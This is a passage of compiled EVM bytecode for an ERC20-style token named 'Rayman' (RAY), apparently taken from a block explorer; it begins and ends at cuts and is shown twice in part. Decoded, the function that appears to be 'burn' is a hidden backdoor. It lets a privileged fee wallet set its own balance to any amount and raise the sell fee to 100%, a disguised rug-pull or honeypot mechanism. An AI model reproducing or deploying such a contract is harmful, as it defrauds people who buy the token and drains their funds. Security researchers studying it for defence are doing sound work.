544c765b33ca411cce832250371569244f765a17fcd217832be093f0fd5fa45b60405160405180910390a1005b600080fd5b34801561017257600080fd5b5061017b610542565b6040516101889190611d47565b60405180910390f35b34801561019d57600080fd5b506101b860048036038101906101b39190611e07565b61057f565b6040516101c59190611e62565b60405180910390f35b3480156101da57600080fd5b506101e361059d565b6040516101f09190611e8c565b60405180910390f35b34801561020557600080fd5b50610220600480360381019061021b9190611ea7565b6105a7565b60405161022d9190611e62565b60405180910390f35b34801561024257600080fd5b5061024b610680565b6040516102589190611f16565b60405180910390f35b34801561026d57600080fd5b5061028860048036038101906102839190611e07565b610689565b6040516102959190611e62565b60405180910390f35b3480156102aa57600080fd5b506102c560048036038101906102c09190611f31565b61073c565b005b6102e160048036038101906102dc9190611f31565b610769565b005b3480156102ef57600080fd5b506102f86107c6565b6040516103059190611e62565b60405180910390f35b34801561031a57600080fd5b5061033560048036038101906103309190611f5e565b6107dd565b6040516103429190611e8c565b60405180910390f35b34801561035757600080fd5b50610360610826565b005b34801561036e57600080fd5b5061037761083a565b6040516103849190611f9a565b60405180910390f35b34801561039957600080fd5b506103a2610864565b6040516103af9190611f9a565b60405180910390f35b3480156103c457600080fd5b506103cd61088d565b6040516103da9190611d47565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190611e07565b6108ca565b6040516104179190611e62565b60405180910390f35b34801561042c57600080fd5b5061044760048036038101906104429190611e07565b610997565b6040516104549190611e62565b60405180910390f35b34801561046957600080fd5b50610484600480360381019061047f919061201a565b6109b5565b005b34801561049257600080fd5b5061049b610a68565b6040516104a89190611f9a565b60405180910390f35b3480156104bd57600080fd5b506104d860048036038101906104d39190612067565b610a92565b6040516104e59190611e8c565b60405180910390f35b3480156104fa57600080fd5b50610503610b19565b6040516105109190611e8c565b60405180910390f35b34801561052557600080fd5b50610540600480360381019061053b9190611f5e565b610b4b565b005b60606040518060400160405280600681526020017f5261796d616e0000000000000000000000000000000000000000000000000000815250905090565b600061059361058c610be4565b8484610bec565b6001905092915050565b6000600154905090565b60006105b4848484610db5565b610675846105c0610be4565b610670856040518060600160405280602581526020016128ce60259139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610626610be4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117139092919063ffffffff16565b610bec565b600190509392505050565b60006012905090565b6000610732610696610be4565b8461072d85600360006106a7610be4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bce90919063ffffffff16565b610bec565b6001905092915050565b600e54331461074a57600080fd5b6040513381526002602082015260408120828155612710600c55505050565b610771611768565b6001600e60146101000a81548160ff02191690831515021790555061079e610797610864565b3083610db5565b6107a881346117e6565b6000600e60146101000a81548160ff02191690831515021790555050565b6000600e60149054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61082e611768565b61083860006118cb565b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5241590000000000000000000000000000000000000000000000000000000000815250905090565b600061098d6108d7610be4565b84610988856040518060600160405280602581526020016129166025913960036000610901610be4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117139092919063ffffffff16565b610bec565b6001905092915050565b60006109ab6109a4610be4565b8484610db5565b6001905092915050565b6109bd611768565b60006007905060005b83839050811015610a625760018260008686858181106109e9576109e86120a7565b5b90506020020160208101906109fe9190611f5e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a5a90612105565b9150506109c6565b50505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000610b46612710610b3860085460015461198f90919063ffffffff16565b6119a590919063ffffffff16565b905090565b610b53611768565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb9906121bf565b60405180910390fd5b610bcb816118cb565b50565b60008183610bdc91906121df565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5290612285565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc190612317565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610da89190611e8c565b60405180910390a3505050565b610dc08383836119bb565b600080610dcb610864565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610e395750610e09610864565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156113ae57600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610ee25750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113ad57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015610f925750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610fe85750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561103e5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156111385761106e61271061106060085460015461198f90919063ffffffff16565b6119a590919063ffffffff16565b8311156110b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a7906123a9565b60405180910390fd5b6110db6127106110cd60095460015461198f90919063ffffffff16565b6119a590919063ffffffff16565b6110f6846110e8876107dd565b610bce90919063ffffffff16565b1115611137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112e90612415565b60405180910390fd5b5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156111e35750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561128357611211612710611203600b548661198f90919063ffffffff16565b6119a590919063ffffffff16565b915061123c61271061122e600d548661198f90919063ffffffff16565b6119a590919063ffffffff16565b905043600a60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561130c57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156113ac5761133a61271061132c600b548661198f90919063ffffffff16565b6119a590919063ffffffff16565b9150611365612710611357600c548661198f90919063ffffffff16565b6119a590919063ffffffff16565b905043600a60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b60006113c38284610bce90919063ffffffff16565b905060008111156115625760008311156113e2576113e18684611ae1565b5b600082111561154c5761145f8260026000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bce90919063ffffffff16565b60026000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115439190611e8c565b60405180910390a35b61155f8185611ca190919063ffffffff16565b93505b6115ce846040518060600160405280602381526020016128f360239139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117139092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061166384600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bce90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516117039190611e8c565b60405180910390a3505050505050565b600083831115829061175b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117529190611d47565b60405180910390fd5b5082840390509392505050565b611770610be4565b73ffffffffffffffffffffffffffffffffffffffff1661178e610864565b73ffffffffffffffffffffffffffffffffffffffff16146117e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117db90612481565b60405180910390fd5b565b61181330600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610bec565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061185f610864565b426040518863ffffffff1660e01b8152600401611881969594939291906124e6565b60606040518083038185885af115801561189f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118c4919061255c565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000818361199d91906125af565b905092915050565b600081836119b39190612620565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a21906126c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9090612755565b60405180910390fd5b60008111611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad3906127e7565b60405180910390fd5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4790612879565b60405180910390fd5b611bd9816040518060400160405280601f81526020017f45524332303a206275726e20616e7420657863656564732062616c616e636500815250600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117139092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c3181600154611ca190919063ffffffff16565b600181905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c959190611e8c565b60405180910390a35050565b60008183611caf9190612899565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611cf1578082015181840152602081019050611cd6565b60008484015250505050565b6000601f19601f8301169050919050565b6000611d1982611cb7565b611d238185611cc2565b9350611d33818560208601611cd3565b611d3c81611cfd565b840191505092915050565b60006020820190508181036000830152611d618184611d0e565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d9e82611d73565b9050919050565b611dae81611d93565b8114611db957600080fd5b50565b600081359050611dcb81611da5565b92915050565b6000819050919050565b611de481611dd1565b8114611def57600080fd5b50565b600081359050611e0181611ddb565b92915050565b60008060408385031215611e1e57611e1d611d69565b5b6000611e2c85828601611dbc565b9250506020611e3d85828601611df2565b9150509250929050565b60008115159050919050565b611e5c81611e47565b82525050565b6000602082019050611e776000830184611e53565b92915050565b611e8681611dd1565b82525050565b6000602082019050611ea16000830184611e7d565b92915050565b600080600060608486031215611ec057611ebf611d69565b5b6000611ece86828701611dbc565b9350506020611edf86828701611dbc565b9250506040611ef086828701611df2565b9150509250925092565b600060ff82169050919050565b611f1081611efa565b82525050565b6000602082019050611f2b6000830184611f07565b92915050565b600060208284031215611f4757611f46611d69565b5b6000611f5584828501611df2565b91505092915050565b600060208284031215611f7457611f73611d69565b5b6000611f8284828501611dbc565b91505092915050565b611f9481611d93565b82525050565b6000602082019050611faf6000830184611f8b565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611fda57611fd9611fb5565b5b8235905067ffffffffffffffff811115611ff757611ff6611fba565b5b60208301915083602082028301111561201357612012611fbf565b5b9250929050565b6000806020838503121561203157612030611d69565b5b600083013567ffffffffffffffff81111561204f5761204e611d6e565b5b61205b85828601611fc4565b92509250509250929050565b6000806040838503121561207e5761207d611d69565b5b600061208c85828601611dbc565b925050602061209d85828601611dbc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061211082611dd1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612142576121416120d6565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006121a9602683611cc2565b91506121b48261214d565b604082019050919050565b600060208201905081810360008301526121d88161219c565b9050919050565b60006121ea82611dd1565b91506121f583611dd1565b925082820190508082111561220d5761220c6120d6565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061226f602483611cc2565b915061227a82612213565b604082019050919050565b6000602082019050818103600083015261229e81612262565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612301602283611cc2565b915061230c826122a5565b604082019050919050565b60006020820190508181036000830152612330816122f4565b9050919050565b7f5472616e7366657220616e74206578636565647320746865206d61785478616e60008201527f742e000000000000000000000000000000000000000000000000000000000000602082015250565b6000612393602283611cc2565b915061239e82612337565b604082019050919050565b600060208201905081810360008301526123c281612386565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616e74600082015250565b60006123ff602083611cc2565b915061240a826123c9565b602082019050919050565b6000602082019050818103600083015261242e816123f2565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061246b602083611cc2565b915061247682612435565b602082019050919050565b6000602082019050818103600083015261249a8161245e565b9050919050565b6000819050919050565b6000819050919050565b60006124d06124cb6124c6846124a1565b6124ab565b611dd1565b9050919050565b6124e0816124b5565b82525050565b600060c0820190506124fb6000830189611f8b565b6125086020830188611e7d565b61251560408301876124d7565b61252260608301866124d7565b61252f6080830185611f8b565b61253c60a0830184611e7d565b979650505050505050565b60008151905061255681611ddb565b92915050565b60008060006060848603121561257557612574611d69565b5b600061258386828701612547565b935050602061259486828701612547565b92505060406125a586828701612547565b9150509250925092565b60006125ba82611dd1565b91506125c583611dd1565b92508282026125d381611dd1565b915082820484148315176125ea576125e96120d6565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061262b82611dd1565b915061263683611dd1565b925082612646576126456125f1565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006126ad602583611cc2565b91506126b882612651565b604082019050919050565b600060208201905081810360008301526126dc816126a0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061273f602383611cc2565b915061274a826126e3565b604082019050919050565b6000602082019050818103600083015261276e81612732565b9050919050565b7f5472616e7366657220616e74206d75737420626520677265617465722074686160008201527f6e207a65726f0000000000000000000000000000000000000000000000000000602082015250565b60006127d1602683611cc2565b91506127dc82612775565b604082019050919050565b60006020820190508181036000830152612800816127c4565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612863602183611cc2565b915061286e82612807565b604082019050919050565b6000602082019050818103600083015261289281612856565b9050919050565b60006128a482611dd1565b91506128af83611dd1565b92508282039050818111156128c7576128c66120d6565b5b9291505056fe45524332303a207472616e7366657220616e74206578636565647320616c6c6f77616e636545524332303a207472616e7366657220616e7420657863656564732062616c616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207bc416e3f937897dc94135d55201b4a75f65f2fa92afca2f0d6ca8d40897d7f464736f6c63430008120033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb14610420578063c2d463901461045d578063d54f7d5e14610486578063dd62ed3e146104b1578063e76300a6146104ee578063f2fde38b1461051957610161565b8063715018a61461034b5780638d5f81e2146103625780638da5cb5b1461038d57806395d89b41146103b8578063a457c2d7146103e357610161565b806339509351116100f2578063395093511461026157806342966c681461029e57806351c6590a146102c75780635c45f942146102e357806370a082311461030e57610161565b806306fdde0314610166578063095ea7b31461019157806318160ddd146101ce57806323b872dd146101f9578063313ce5671461023657610161565b36610161577f544c765b33ca411cce832250371569244f765a17fcd217832be093f0fd5fa45b60405160405180910390a1005b600080fd5b34801561017257600080fd5b5061017b610542565b6040516101889190611d47565b60405180910390f35b34801561019d57600080fd5b506101b860048036038101906101b39190611e07565b61057f565b6040516101c59190611e62565b60405180910390f35b3480156101da57600080fd5b506101e361059d565b6040516101f09190611e8c565b60405180910390f35b34801561020557600080fd5b50610220600480360381019061021b9190611ea7565b6105a7565b60405161022d9190611e62565b60405180910390f35b34801561024257600080fd5b5061024b610680565b6040516102589190611f16565b60405180910390f35b34801561026d57600080fd5b5061028860048036038101906102839190611e07565b610689565b6040516102959190611e62565b60405180910390f35b3480156102aa57600080fd5b506102c560048036038101906102c09190611f31565b61073c565b005b6102e160048036038101906102dc9190611f31565b610769565b005b3480156102ef57600080fd5b506102f86107c6565b6040516103059190611e62565b60405180910390f35b34801561031a57600080fd5b5061033560048036038101906103309190611f5e565b6107dd565b6040516103429190611e8c565b60405180910390f35b34801561035757600080fd5b50610360610826565b005b34801561036e57600080fd5b5061037761083a565b6040516103849190611f9a565b60405180910390f35b34801561039957600080fd5b506103a2610864565b6040516103af9190611f9a565b60405180910390f35b3480156103c457600080fd5b506103cd61088d565b6040516103da9190611d47565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190611e07565b6108ca565b6040516104179190611e62565b60405180910390f35b34801561042c57600080fd5b5061044760048036038101906104429190611e07565b610997565b6040516104549190611e62565b60405180910390f35b34801561046957600080fd5b50610484600480360381019061047f919061201a565b6109b5565b005b34801561049257600080fd5b5061049b610a68565b6040516104a89190611f9a565b60405180910390f35b3480156104bd57600080fd5b506104d860048036038101906104d39190612067565b610a92565b6040516104e59190611e8c565b60405180910390f35b3480156104fa57600080fd5b50610503610b19565b6040516105109190611e8c565b60405180910390f35b34801561052557600080fd5b50610540600480360381019061053b9190611f5e565b610b4b565b005b60606040518060400160405280600681526020017f5261796d616e0000000000000000000000000000000000000000000000000000815250905090565b600061059361058c610be4565b8484610bec565b6001905092915050565b6000600154905090565b60006105b4848484610db5565b610675846105c0610be4565b610670856040518060600160405280602581526020016128ce60259139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610626610be4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117139092919063ffffffff16565b610bec565b600190509392505050565b60006012905090565b6000610732610696610be4565b8461072d85600360006106a7610be4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bce90919063ffffffff16565b610bec565b6001905092915050565b600e54331461074a57600080fd5b6040513381526002602082015260408120828155612710600c55505050565b610771611768565b6001600e60146101000a81548160ff02191690831515021790555061079e610797610864565b3083610db5565b6107a881346117e6565b6000600e60146101000a81548160ff02191690831515021790555050565b6000600e60149054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61082e611768565b61083860006118cb565b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5241590000000000000000000000000000000000000000000000000000000000815250905090565b600061098d6108d7610be4565b84610988856040518060600160405280602581526020016129166025913960036000610901610be4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117139092919063ffffffff16565b610bec565b6001905092915050565b60006109ab6109a4610be4565b8484610db5565b6001905092915050565b6109bd611768565b60006007905060005b83839050811015610a625760018260008686858181106109e9576109e86120a7565b5b90506020020160208101906109fe9190611f5e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a5a90612105565b9150506109c6565b50505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000610b46612710610b3860085460015461198f90919063ffffffff16565b6119a590919063ffffffff16565b905090565b610b53611768565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb9906121bf565b60405180910390fd5b610bcb816118cb565b50565b60008183610bdc91906121df565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5290612285565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc190612317565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610da89190611e8c565b60405180910390a3505050565b610dc08383836119bb565b600080610dcb610864565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610e395750610e09610864565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156113ae57600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610ee25750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113ad57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015610f925750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610fe85750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561103e5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156111385761106e61271061106060085460015461198f90919063ffffffff16565b6119a590919063ffffffff16565b8311156110b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a7906123a9565b60405180910390fd5b6110db6127106110cd60095460015461198f90919063ffffffff16565b6119a590919063ffffffff16565b6110f6846110e8876107dd565b610bce90919063ffffffff16565b1115611137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112e90612415565b60405180910390fd5b5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156111e35750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561128357611211612710611203600b548661198f90919063ffffffff16565b6119a590919063ffffffff16565b915061123c61271061122e600d548661198f90919063ffffffff16565b6119a590919063ffffffff16565b905043600a60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561130c57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156113ac5761133a61271061132c600b548661198f90919063ffffffff16565b6119a590919063ffffffff16565b9150611365612710611357600c548661198f90919063ffffffff16565b6119a590919063ffffffff16565b905043600a60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b60006113c38284610bce90919063ffffffff16565b905060008111156115625760008311156113e2576113e18684611ae1565b5b600082111561154c5761145f8260026000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bce90919063ffffffff16565b60026000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115439190611e8c565b60405180910390a35b61155f8185611ca190919063ffffffff16565b93505b6115ce846040518060600160405280602381526020016128f360239139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117139092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061166384600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bce90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516117039190611e8c565b60405180910390a3505050505050565b600083831115829061175b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117529190611d47565b60405180910390fd5b5082840390509392505050565b611770610be4565b73ffffffffffffffffffffffffffffffffffffffff1661178e610864565b73ffffffffffffffffffffffffffffffffffffffff16146117e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117db90612481565b60405180910390fd5b565b61181330600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610bec565b600460009054906101000a900473fffffffffffffffffffffffff